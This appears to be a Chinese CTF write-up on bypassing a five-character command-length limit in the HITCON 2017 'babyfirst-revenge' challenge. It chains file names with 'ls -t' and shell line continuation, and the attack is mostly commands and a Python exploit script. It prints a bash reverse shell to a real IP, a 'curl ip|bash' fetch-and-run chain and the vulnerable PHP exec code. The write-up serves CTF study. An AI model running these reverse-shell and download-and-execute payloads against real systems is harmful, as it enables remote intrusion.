参考:

https://blog.csdn.net/calmegm/article/details/80874902
https://www.leavesongs.com/SHARE/some-tricks-from-my-secret-group.html
https://blog.csdn.net/calmegm/article/details/80874902

0x01:linux中的 > 符号和 >> 符号

1.通过>来创建文件

>test.txt
ls

2.通过>将命令执行的结果存入文件中

echo "hello world">test


但是通过>来将命令执行结果写入文件会覆盖掉文件原本的内容,如果我们想要在原本文件内容后面追加内容就要使用>>

echo "aaa">test
cat test
echo "bbb">>test
cat test

0x02:linux中命令换行

在linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加 "\",可以将一条命令写在多行
比如我们有一个test文件内容如下:

ec\
ho \
hello \
world!

然后我们用sh命令来执行一下:

sh test


成功输出了 hello world!

0x03:ls -t命令

在linux中,我们使用ls -t命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)

touch a
touch b
touch c
ls -t

0x04:利用ls -t 和 > 以及换行符 绕过长度限制执行命令

我们先看执行如下命令的结果:

ls -t>test
cat test


ls -t 命令列出文件名,然后每个文件名按行储存,如果我们将我们要执行的命令拆分为多个文件名,然后再结合命令换行,然后通过 ls -t > test这样的方式再写入某个文件来运行不就可以绕过命令长度限制了吗,而且从上面我们可以看出,ls -t>test的执行顺序是先创建文件test,然后执行ls -t,然后将执行结果写入test文件
我们可以做如下小实验:
比如我们要执行 echo hello world

> "rld"
> "wo\\"
> "llo \\"
> "he\\"
> "echo \\"
ls -t > _
sh _


我们可以看到,因为我们最后创建的文件 "_"的文件名会输入到文件中导致一个错误信息,但是并不影响我们下面命令的执行,最终成功的输出了 "hello world"

这里使用了两个 \ 是因为我们需要转义掉多行命令的换行,如果我们只使用一个 \ 那么就会被误解为正在多行执行命令,就会出现下面这种情况

echo \
hello world

0x05:hitcon 2017 babyfirst-revenge

这道ctf题目考的就是绕过长度限制执行命令

<?php
    error_reporting(E_ALL);
    $sandbox = '/var/www/html/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']);
    mkdir($sandbox);
    chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

既然可以执行命令,那么我们首先想到的是反弹一个shell回来
bash反弹shell的命令如下:

bash -i >& /dev/tcp/vps的ip/监听的端口 0>&1

空格需要转义

>\ \\

构造空格就用去了五个字符,我们的语句里面有两个空格,而相同的文件名只能有一个,因此这里不能直接执行bash反弹shell
那么通过将反弹语句放在vps上,然后通过如下方式来执行:

curl ip地址|bash

我们先在自己的vps新建一个文件,内容为

bash -i >& /dev/tcp/120.79.33.253/7777 0>&1

然后在vps上面监听7777端口

nc -lv 7777

因为ls -t>_的长度也大于5,所以要要把ls -t>y写入文件
ls命令排序的规则是空格和符号最前,数字其次,字母最后

>ls\\
ls>_
>\ \\
>-t\\
>\>y
ls>>_


那么我们再构造curl 120.79.33.253|bash

>bash
>\|\\
>53\\
>2\\
>3.\\
>3\\
>9.\\
>7\\
>0.\\
>12\\
>\ \\
>rl\\
>cu\\

然后运行

sh _

生成文件y
再执行

sh y

最后贴一下我的py脚本

#encoding:utf-8
import requests
baseurl = "http://120.79.33.253:9003/?cmd="
reset = "http://120.79.33.253:9003/?reset"
s = requests.session()
s.get(reset)

# 将ls -t 写入文件_
list=[
    ">ls\\",
    "ls>_",
    ">\ \\",
    ">-t\\",
    ">\>y",
    "ls>>_"
]

# curl 120.79.33.253|bash
list2=[
    ">bash",
    ">\|\\",
    ">53\\",
    ">2\\",
    ">3.\\",
    ">3\\",
    ">9.\\",
    ">7\\",
    ">0.\\",
    ">12\\",
    ">\ \\",
    ">rl\\",
    ">cu\\"
]
for i in list:
    url = baseurl+str(i)
    s.get(url)

for j in list2:
    url = baseurl+str(j)
    s.get(url)

s.get(baseurl+"sh _")
s.get(baseurl+"sh y")
#s.get(reset)

成功拿到shell

自搭测试地址:http://120.79.33.253:9003
想要复现一波的大佬可以复现一下,但请不要破坏环境
如有错误,还望各位大佬指出

源链接

Hacking more

...